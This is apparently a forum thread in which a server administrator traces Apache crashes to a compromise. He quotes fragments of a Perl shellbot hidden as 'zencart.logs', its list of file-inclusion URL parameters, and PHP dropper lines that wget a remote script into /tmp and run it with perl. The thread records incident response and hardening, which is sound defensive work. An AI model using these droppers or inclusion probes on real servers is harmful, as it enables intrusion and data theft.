Apache Crashing Intermittently

Hi All:
I have submitted a TT on this, but am still getting intermittent problems. Apache just quits. When I do a restart on httpd, i get the following:

/etc/init.d/httpd restart

Stopping httpd: [FAILED]
Flushing IPC Semaphores [ OK ]
Starting httpd: (98)Address already in use: make_sock: could not bind to address [::]:80
(98)Address already in use: make_sock: could not bind to address 0.0.0.0:80
no listening sockets available, shutting down
Unable to open logs
[FAILED]

It would seem that port 80 is tied up by another application. I have also seen the same error on port 443 for https. I have checked httpd.conf and ssl.conf for multiple references to each port, but cannot ferret out the prob. Anyone?

thx,
john

When you get the error, you tried netstat -lnp to see what process is running on those ports?

i did not run netstat -lnp on the most recent occurrence b/c i just wanted to get the sites back up and running. i rebooted and apache restarted. on the next event, i will check. is there a particular log file i can look at for the history? even though i have not had a crash yet today, i checked /var/log/httpd/error_log and found the following:

Sun Aug 09 04:02:12 2009] [notice] Apache/2.2.8 (Unix) DAV/2 PHP/5.1.6 mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 mod_watch/4.3 configured – resuming normal operations
[Sun Aug 09 04:29:47 2009] [notice] child pid 31895 exit signal Segmentation fault (11)
[Sun Aug 09 04:35:05 2009] [notice] child pid 31404 exit signal Segmentation fault (11)
[Sun Aug 09 04:41:57 2009] [notice] child pid 3556 exit signal Segmentation fault (11)
[Sun Aug 09 04:43:45 2009] [notice] child pid 3968 exit signal Segmentation fault (11)
[Sun Aug 09 04:50:17 2009] [notice] child pid 5448 exit signal Segmentation fault (11)
[Sun Aug 09 04:50:18 2009] [notice] child pid 4709 exit signal Segmentation fault (11)
[Sun Aug 09 04:50:21 2009] [notice] child pid 4720 exit signal Segmentation fault (11)
[Sun Aug 09 04:59:40 2009] [notice] child pid 7225 exit signal Segmentation fault (11)
[Sun Aug 09 04:59:41 2009] [notice] child pid 7222 exit signal Segmentation fault (11)
[Sun Aug 09 04:59:44 2009] [notice] child pid 7216 exit signal Segmentation fault (11)
[Sun Aug 09 05:00:17 2009] [notice] child pid 7247 exit signal Segmentation fault (11)
[Sun Aug 09 05:05:37 2009] [notice] child pid 8998 exit signal Segmentation fault (11)
[Sun Aug 09 05:06:47 2009] [notice] child pid 9613 exit signal Segmentation fault (11)
[Sun Aug 09 05:06:52 2009] [notice] child pid 9662 exit signal Segmentation fault (11)
[Sun Aug 09 05:22:52 2009] [notice] child pid 14511 exit signal Segmentation fault (11)
[Sun Aug 09 05:22:55 2009] [notice] child pid 14182 exit signal Segmentation fault (11)
[Sun Aug 09 05:22:57 2009] [notice] child pid 14509 exit signal Segmentation fault (11)
[Sun Aug 09 05:27:33 2009] [notice] child pid 14852 exit signal Segmentation fault (11)
[Sun Aug 09 05:28:01 2009] [notice] child pid 15203 exit signal Segmentation fault (11)
[Sun Aug 09 05:29:21 2009] [notice] child pid 15212 exit signal Segmentation fault (11)
[Sun Aug 09 05:30:37 2009] [notice] child pid 15300 exit signal Segmentation fault (11)
[Sun Aug 09 05:31:19 2009] [notice] child pid 15236 exit signal Segmentation fault (11)
[Sun Aug 09 05:35:34 2009] [notice] child pid 17291 exit signal Segmentation fault (11)
[Sun Aug 09 05:38:35 2009] [notice] child pid 17516 exit signal Segmentation fault (11)
[Sun Aug 09 05:41:13 2009] [notice] child pid 17917 exit signal Segmentation fault (11)
[Sun Aug 09 06:00:36 2009] [notice] child pid 24453 exit signal Segmentation fault (11)
[Sun Aug 09 06:03:48 2009] [notice] child pid 25004 exit signal Segmentation fault (11)
[Sun Aug 09 06:16:32 2009] [notice] child pid 28082 exit signal Segmentation fault (11)
[Sun Aug 09 06:25:26 2009] [notice] child pid 30406 exit signal Segmentation fault (11)
[Sun Aug 09 06:31:26 2009] [notice] child pid 32389 exit signal Segmentation fault (11)
[Sun Aug 09 06:33:17 2009] [notice] child pid 375 exit signal Segmentation fault (11)
[Sun Aug 09 06:33:30 2009] [notice] child pid 322 exit signal Segmentation fault (11)
[Sun Aug 09 06:34:01 2009] [notice] child pid 32465 exit signal Segmentation fault (11)
[Sun Aug 09 06:34:36 2009] [notice] child pid 438 exit signal Segmentation fault (11)
[Sun Aug 09 06:42:58 2009] [notice] child pid 2985 exit signal Segmentation fault (11)
[Sun Aug 09 06:44:20 2009] [notice] child pid 3078 exit signal Segmentation fault (11)
[Sun Aug 09 06:55:33 2009] [notice] child pid 3776 exit signal Segmentation fault (11)
[Sun Aug 09 07:17:41 2009] [notice] child pid 11061 exit signal Segmentation fault (11)
[Sun Aug 09 07:18:14 2009] [notice] child pid 11757 exit signal Segmentation fault (11)
[Sun Aug 09 07:27:01 2009] [notice] child pid 13720 exit signal Segmentation fault (11)
[Sun Aug 09 07:45:12 2009] [notice] child pid 18650 exit signal Segmentation fault (11)
[Sun Aug 09 07:52:33 2009] [notice] child pid 21566 exit signal Segmentation fault (11)
[Sun Aug 09 08:00:14 2009] [notice] child pid 22436 exit signal Segmentation fault (11)
[Sun Aug 09 08:03:44 2009] [notice] child pid 24211 exit signal Segmentation fault (11)
[Sun Aug 09 08:41:07 2009] [notice] child pid 1230 exit signal Segmentation fault (11)

Then, I see the following in error_log1 just before/after the last crash lasting approx. 8 hours (I couldn’t get to the box…ouch!):

[Sat Aug 08 11:44:10 2009] [notice] child pid 23486 exit signal Segmentation fault (11)
[Sat Aug 08 11:45:40 2009] [notice] child pid 23540 exit signal Segmentation fault (11)
[Sat Aug 08 11:46:05 2009] [notice] child pid 23742 exit signal Segmentation fault (11)
[Sat Aug 08 11:46:30 2009] [notice] child pid 23730 exit signal Segmentation fault (11)
[Sat Aug 08 12:30:40 2009] [notice] caught SIGTERM, shutting down
Big Time CRASHOLA! So, I rebooted here.
[Sat Aug 08 20:58:03 2009] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sat Aug 08 20:58:04 2009] [notice] Apache/2.2.8 (Unix) DAV/2 PHP/5.1.6 mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 mod_watch/4.3 configured – resuming normal operations
[Sat Aug 08 21:04:02 2009] [notice] caught SIGTERM, shutting down
[Sat Aug 08 21:04:03 2009] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sat Aug 08 21:04:04 2009] [notice] Apache/2.2.8 (Unix) DAV/2 PHP/5.1.6 mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 mod_watch/4.3 configured – resuming normal operations
[Sat Aug 08 21:04:45 2009] [notice] caught SIGTERM, shutting down
[Sat Aug 08 21:04:46 2009] [notice] suEXEC mechanism enabled (wrapper: /usr/sbin/suexec)
[Sat Aug 08 21:04:47 2009] [notice] Apache/2.2.8 (Unix) DAV/2 PHP/5.1.6 mod_ssl/2.2.8 OpenSSL/0.9.8e-fips-rhel5 mod_watch/4.3 configured – resuming normal operations
[Sat Aug 08 21:25:59 2009] [notice] child pid 32100 exit signal Segmentation fault (11)
[Sat Aug 08 21:26:12 2009] [notice] child pid 32148 exit signal Segmentation fault (11)

Segmentation fault is all over the apache logs and I’m still getting them.

Have you recently upgraded apache or PHP?

The initial errors you reported with the port numbers does sound like something else is sat on the 80 and 443 ports. netstat will show you the process names, which you can take a note off, and do a kill -9 XXX (XXX = the pid) and get apache restarted without having to reboot. at that point you can then do some investigation, but it does sound like some unwanted program is running, possibly an eggdrop script or similar.

Check /tmp and /var/tmp for unusual/unknown files.

i checked the /tmp directory and found a file of which the first few lines are:

!/usr/bin/perl

This code is based on atrix (brazil) shellbot, somebody ripped all the credits, but its obviusly a rip.

so the original author is atrix. the spread perl code was developed by sirhot (i am almost sure) he is from morocco.

Note to David Jacoby: Expect a few improvements for the next release.

The following comments are only left in the code to ridiculize this guy.

--------------------------------------------------------------

Morgan has hacked you!

Morgan Argentina, santiago del estero

http://irc.irc-argentina.org/x.conf

http://img521.imageshack.us/img521/3779/morganlammer6tu.png

oper morgan {

class clients;

from {

userhost @;

};

password “soyuncapo”; // morgan si, eres-un-capo.

oper morgan2 {

class clients;

from {

userhost @;

};

password “thegod”; //morgan si, eres el-dios.

-----------------------------------------------------------

system("kill -9 ps ax |grep /usr/sbin/apache/log |grep -v grep|awk '{print $1;}'");

my $processo = ‘/usr/sbin/apache/log’;

my @titi = (“index.php?page=”,“main.php?page=”,“index.php?p=”,“index.php?x=”,“main.php?p=”,“index.php?inc=”,“index.php?frame=”,“main.php?x=”,“index.php?path=”,“index.php?include=”,“main.php?path=”,"index.$
“default.php?page=”,
“index.php?open=”,
“index.php?pagina=”,
“index.php?pg=”,
“index.php?pag=”,
“index.php?content=”,
“index.php?cont=”,
“index.php?c=”,
“index.php?x=”,
“index.php?cat=”,
“index.php?site=”,
“index.php?con=”,
“index.php?action=”,
“index.php?do=”,
“index2.php?x=”,
“index2.php?content=”,
“template.php?pagina=”,“index.php?load=”);

I really don’t know what i am looking at here b/c I don’t do code, but the commented section at the beginning of the file doesn’t look too friendly. Your thoughts? Also, here is a listing of the files in /tmp:

[root@host tmp]# ls -al
total 200
drwxrwxrwt 7 root root 4096 Aug 9 09:05 .
drwxr-xr-x 28 root root 4096 Aug 8 20:57 …
drwxrwxrwt 2 root root 4096 Aug 8 20:58 .font-unix
drwxrwxrwt 2 root root 4096 Aug 8 20:57 .ICE-unix
lrwxrwxrwx 1 root root 25 Nov 23 2008 mysql.sock -> /var/lib/mysql/mysql.sock
-rw------- 1 iworx iworx 87096 Aug 8 21:55 sess_003c2504a28c7ead68011927eb5d8790
-rw------- 1 iworx iworx 30304 Aug 8 22:14 sess_0323a1ad9fd8ba28c7ea11e96851031a
drwxrwx— 6 root iworx 4096 Nov 21 2007 siteworxoldimport7tG2yy
drwxrwx— 6 root iworx 4096 Nov 10 2007 siteworxoldimport8Ca32w
drwxrwx— 6 root root 4096 Aug 31 2008 siteworxoldimportyOJgyP
-rw-r–r-- 1 apache apache 17218 Aug 5 21:45 zencart.logs
-rw-r–r-- 1 apache apache 17218 Aug 5 21:45 zencart.logs.1

The excerpt above is from the file zencart.logs which is actually a script!

Yup - not a nice script. Looks like you must have some insecure installations of zencart on your server, given the name of the file.

Check the /etc/passwd and /etc/shadow files to see if there are shell users in there which shouldn’t be, find the zencart installation culprable and disable it, to ensure to further attacks and then do an audit and clean up of the server.

i checked passwd and shadow and don’t see anything out of the ordinary, BUT i could be wrong. the zencart installation i have (there is only 1) is a high volume site and cannot be disabled. i submitted a TT to see if Sean or Paul can take a look. would it be safe to go ahead and delete the zencart.logs files?

I would download them so you can reference what the script was able to do and then remove from sever.

a LOT more investigation. apparently this is from a shell bot script that executed a perl script, avoiding server security(?) and it placed executable files of various names in /tmp and /var/tmp. BUT, now the real question is…how do i find the file which is calling the URL to download the script kiddie’s file? i see the internal apache call in my apache error_log from time to time, but don’t know what file on the server makes the call (presumably each time the file is accessed). yes, as a temp countermeasure, i have blocked some IP’s through APF, but this will only be good for a short time. any ideas on where/how to look for the apache call?

j

just a follow up on this thread. i discovered that one of the relatively unused sites i have on the server for testing purposes was hacked through ftp. in the /images dir, the script kiddy uploaded a couple of php files, which, when called, used wget to download the destructive .txt and .pl files. THEN, the php thread invoked perl to save the files to the upper level /tmp and /var/tmp dirs. here is a bit of the code:

<?php exec(“wget http://www.hackers_source_domain.org/blog/serendipity/.blogpt/sobx.txt -O /tmp/bxbov.pl;perl /tmp/bxbov.pl;echo elo”.“elo”); ?>
<?php system(“wget http://www.hackers_source_domain.org/blog/serendipity/.blogpt/sobx.txt -O /tmp/bxbov.pl;perl /tmp/bxbov.pl;echo elo”.“elo”); ?>
<?php shell_exec(“wget http://www.hackers_source_domain.org/blog/serendipity/.blogpt/sobx.txt -O /tmp/bxbov.pl;perl /tmp/bxbov.pl;echo elo”.“elo”); ?>
<?php passthru(“wget http://www.hackers_source_domain.org/blog/serendipity/.blogpt/sobx.txt -O /tmp/bxbov.pl;perl /tmp/bxbov.pl;echo elo”.“elo”); ?>

we have since disabled the site and updated server’s php.ini to disable functions such as passthru, shell_exec, etc…

if you are seeing actual/attempted downloads of wierd files to /tmp, /var/tmp, /dev/shm you can do a find/grep for the file name in the the site level apache logs dirs:

[server]# find /home/site-name/var/site-name.com/logs/ -type f -exec grep ‘file-title.txt’ {} ; -print

Gross… Good to see that you solved this issue, those script kiddie exploits can be tough to track down sometimes. Any idea what these misguided kids were after? Or do you think they were being destructive for the sake of being destructive?

through the script(s), they were actually able to brute force the root mysql password and download all the db’s. we are working on the security side of the equation now.